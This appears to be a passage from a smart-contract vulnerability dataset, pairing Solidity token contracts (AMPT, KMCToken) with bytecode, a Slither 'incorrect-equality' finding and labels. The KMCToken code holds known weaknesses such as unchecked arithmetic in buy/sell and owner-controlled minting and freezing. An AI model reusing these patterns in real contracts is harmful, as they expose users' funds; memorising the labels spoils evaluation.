_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "AMPT::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612741565b60405180910390f35b61015e6004803603810190610159919061217d565b61045c565b60405161016b919061263c565b60405180910390f35b61017c6105ee565b6040516101899190612823565b60405180910390f35b61019a6105fd565b6040516101a79190612657565b60405180910390f35b6101ca60048036038101906101c5919061212e565b610621565b6040516101d7919061263c565b60405180910390f35b6101e86108b3565b6040516101f59190612882565b60405180910390f35b610218600480360381019061021391906120c9565b6108b8565b6040516102259190612621565b60405180910390f35b610248600480360381019061024391906120c9565b6108eb565b005b610264600480360381019061025f91906120c9565b6108f8565b604051610271919061283e565b60405180910390f35b610294600480360381019061028f91906120c9565b61091b565b6040516102a19190612823565b60405180910390f35b6102c460048036038101906102bf919061217d565b61098a565b6040516102d191906128b8565b60405180910390f35b6102f460048036038101906102ef91906120c9565b610d99565b6040516103019190612823565b60405180910390f35b610312610db1565b60405161031f9190612741565b60405180910390f35b610342600480360381019061033d919061217d565b610dea565b60405161034f919061263c565b60405180910390f35b610372600480360381019061036d91906120c9565b610e27565b60405161037f91906128b8565b60405180910390f35b6103a2600480360381019061039d91906121b9565b610f15565b005b6103be60048036038101906103b991906120f2565b6111d2565b6040516103cb9190612823565b60405180910390f35b6103dc61127e565b6040516103e99190612657565b60405180910390f35b61040c60048036038101906104079190612242565b6112a2565b60405161041a929190612859565b60405180910390f35b6040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612b0c602591396112fb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db919061289d565b60405180910390a3600191505092915050565b6a52b7d2dcc80cd2e400000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106e385604051806060016040528060258152602001612b0c602591396112fb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075d57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561089a57600061078783836040518060600160405280603d8152602001612b31603d9139611359565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610890919061289d565b60405180910390a3505b6108a58787836113ca565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108f533826117ab565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c5906127e3565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a3b576000915050610d93565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3d57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d93565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bbe576000915050610d93565b6000806001830390505b8163ffffffff168163ffffffff161115610d15576000600283830363ffffffff1681610bf057fe5b0482039050610bfd612032565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ced57806020015195505050505050610d93565b86816000015163ffffffff161015610d0757819350610d0e565b6001820392505b5050610bc8565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f414d50540000000000000000000000000000000000000000000000000000000081525081565b600080610e0f83604051806060016040528060268152602001612b6e602691396112fb565b9050610e1c3385836113ca565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e91576000610f0d565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525080519060200120610f7d61196b565b30604051602001610f9194939291906126b7565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610fe29493929190612672565b6040516020818303038152906040528051906020012090506000828260405160200161100f9291906125ea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161104c94939291906126fc565b6020604051602081039080840390855afa15801561106e573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906127c3565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117090612763565b60405180910390fd5b874211156111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390612783565b60405180910390fd5b6111c6818b6117ab565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061134f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113469190612741565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff16111582906113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b49190612741565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612803565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a1906127a3565b60405180910390fd5b611524600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612ad660369139611359565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061160b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612a7e60309139611978565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d5919061289d565b60405180910390a36117a6600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119ee565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119658284836119ee565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d99190612741565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a3857506000816bffffffffffffffffffffffff16115b15611ce457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b90576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611adb576000611b57565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b7e8285604051806060016040528060288152602001612aae60289139611359565b9050611b8c86848484611ce9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ce3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c2e576000611caa565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611cd18285604051806060016040528060278152602001612bc860279139611978565b9050611cdf85848484611ce9565b5050505b5b505050565b6000611d0d43604051806060016040528060348152602001612b9460349139611fdc565b905060008463ffffffff16118015611da257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e3d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f85565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611fcd9291906128d3565b60405180910390a25050505050565b600064010000000083108290612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f9190612741565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061206f81612a0a565b92915050565b60008135905061208481612a21565b92915050565b60008135905061209981612a38565b92915050565b6000813590506120ae81612a4f565b92915050565b6000813590506120c381612a66565b92915050565b6000602082840312156120db57600080fd5b60006120e984828501612060565b91505092915050565b6000806040838503121561210557600080fd5b600061211385828601612060565b925050602061212485828601612060565b9150509250929050565b60008060006060848603121561214357600080fd5b600061215186828701612060565b935050602061216286828701612060565b92505060406121738682870161208a565b9150509250925092565b6000806040838503121561219057600080fd5b600061219e85828601612060565b92505060206121af8582860161208a565b9150509250929050565b60008060008060008060c087890312156121d257600080fd5b60006121e089828a01612060565b96505060206121f189828a0161208a565b955050604061220289828a0161208a565b945050606061221389828a016120b4565b935050608061222489828a01612075565b92505060a061223589828a01612075565b9150509295509295509295565b6000806040838503121561225557600080fd5b600061226385828601612060565b92505060206122748582860161209f565b9150509250929050565b61228781612923565b82525050565b61229681612935565b82525050565b6122a581612941565b82525050565b6122bc6122b782612941565b6129ef565b82525050565b60006122cd826128fc565b6122d78185612907565b93506122e78185602086016129bc565b6122f0816129f9565b840191505092915050565b6000612308600283612918565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612348602283612907565b91507f414d50543a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123ae602683612907565b91507f414d50543a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612414603a83612907565b91507f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b600061247a602683612907565b91507f414d50543a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e0602783612907565b91507f414d50543a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612546603c83612907565b91507f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6125a88161296b565b82525050565b6125b781612975565b82525050565b6125c681612985565b82525050565b6125d5816129aa565b82525050565b6125e481612992565b82525050565b60006125f5826122fb565b915061260182856122ab565b60208201915061261182846122ab565b6020820191508190509392505050565b6000602082019050612636600083018461227e565b92915050565b6000602082019050612651600083018461228d565b92915050565b600060208201905061266c600083018461229c565b92915050565b6000608082019050612687600083018761229c565b612694602083018661227e565b6126a1604083018561259f565b6126ae606083018461259f565b95945050505050565b60006080820190506126cc600083018761229c565b6126d9602083018661229c565b6126e6604083018561259f565b6126f3606083018461227e565b95945050505050565b6000608082019050612711600083018761229c565b61271e60208301866125bd565b61272b604083018561229c565b612738606083018461229c565b95945050505050565b6000602082019050818103600083015261275b81846122c2565b905092915050565b6000602082019050818103600083015261277c8161233b565b9050919050565b6000602082019050818103600083015261279c816123a1565b9050919050565b600060208201905081810360008301526127bc81612407565b9050919050565b600060208201905081810360008301526127dc8161246d565b9050919050565b600060208201905081810360008301526127fc816124d3565b9050919050565b6000602082019050818103600083015261281c81612539565b9050919050565b6000602082019050612838600083018461259f565b92915050565b600060208201905061285360008301846125ae565b92915050565b600060408201905061286e60008301856125ae565b61287b60208301846125db565b9392505050565b600060208201905061289760008301846125bd565b92915050565b60006020820190506128b260008301846125cc565b92915050565b60006020820190506128cd60008301846125db565b92915050565b60006040820190506128e860008301856125cc565b6128f560208301846125cc565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061292e8261294b565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006129b582612992565b9050919050565b60005b838110156129da5780820151818401526020810190506129bf565b838111156129e9576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612a1381612923565b8114612a1e57600080fd5b50565b612a2a81612941565b8114612a3557600080fd5b50565b612a418161296b565b8114612a4c57600080fd5b50565b612a5881612975565b8114612a6357600080fd5b50565b612a6f81612985565b8114612a7a57600080fd5b5056fe414d50543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773414d50543a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773414d50543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365414d50543a3a617070726f76653a20616d6f756e7420657863656564732039362062697473414d50543a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365414d50543a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473414d50543a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473414d50543a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a264697066735822122089f2071976f9715ce4ef45d326b33c69234bd06bc840c26275c0855b56e9dba764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1
0x3ddd6a5dc87798285d43515832c17cbff141ad28
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name = "KmongCoin"; string public symbol = "KMC"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 10000000000 * (10 ** 18); // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( ) public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* KMCToken TOKEN STARTS HERE */ /******************************************/ contract KMCToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function KMCToken( ) TokenERC20() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012c57806306fdde0314610147578063095ea7b3146101d157806318160ddd1461020757806323b872dd1461022c578063313ce5671461025457806342966c681461027d5780634b7503341461029357806370a08231146102a657806379c65068146102c557806379cc6790146102e75780638620410b146103095780638da5cb5b1461031c57806395d89b411461034b578063a6f2ae3a1461035e578063a9059cbb14610366578063b414d4b614610388578063cae9ca51146103a7578063dd62ed3e1461040c578063e4849b3214610431578063e724529c14610447578063f2fde38b1461046b575b600080fd5b341561013757600080fd5b61014560043560243561048a565b005b341561015257600080fd5b61015a6104b0565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019657808201518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b6101f3600160a060020a036004351660243561054e565b604051901515815260200160405180910390f35b341561021257600080fd5b61021a61057e565b60405190815260200160405180910390f35b341561023757600080fd5b6101f3600160a060020a0360043581169060243516604435610584565b341561025f57600080fd5b6102676105fb565b60405160ff909116815260200160405180910390f35b341561028857600080fd5b6101f3600435610604565b341561029e57600080fd5b61021a61068f565b34156102b157600080fd5b61021a600160a060020a0360043516610695565b34156102d057600080fd5b610145600160a060020a03600435166024356106a7565b34156102f257600080fd5b6101f3600160a060020a036004351660243561076d565b341561031457600080fd5b61021a610849565b341561032757600080fd5b61032f61084f565b604051600160a060020a03909116815260200160405180910390f35b341561035657600080fd5b61015a61085e565b6101456108c9565b341561037157600080fd5b610145600160a060020a03600435166024356108e9565b341561039357600080fd5b6101f3600160a060020a03600435166108f8565b34156103b257600080fd5b6101f360048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061090d95505050505050565b341561041757600080fd5b61021a600160a060020a0360043581169060243516610a3f565b341561043c57600080fd5b610145600435610a5c565b341561045257600080fd5b610145600160a060020a03600435166024351515610ab9565b341561047657600080fd5b610145600160a060020a0360043516610b45565b60005433600160a060020a039081169116146104a557600080fd5b600791909155600855565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156105b957600080fd5b600160a060020a03808516600090815260066020908152604080832033909416835292905220805483900390556105f1848484610b8f565b5060019392505050565b60035460ff1681565b600160a060020a0333166000908152600560205260408120548290101561062a57600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60075481565b60056020526000908152604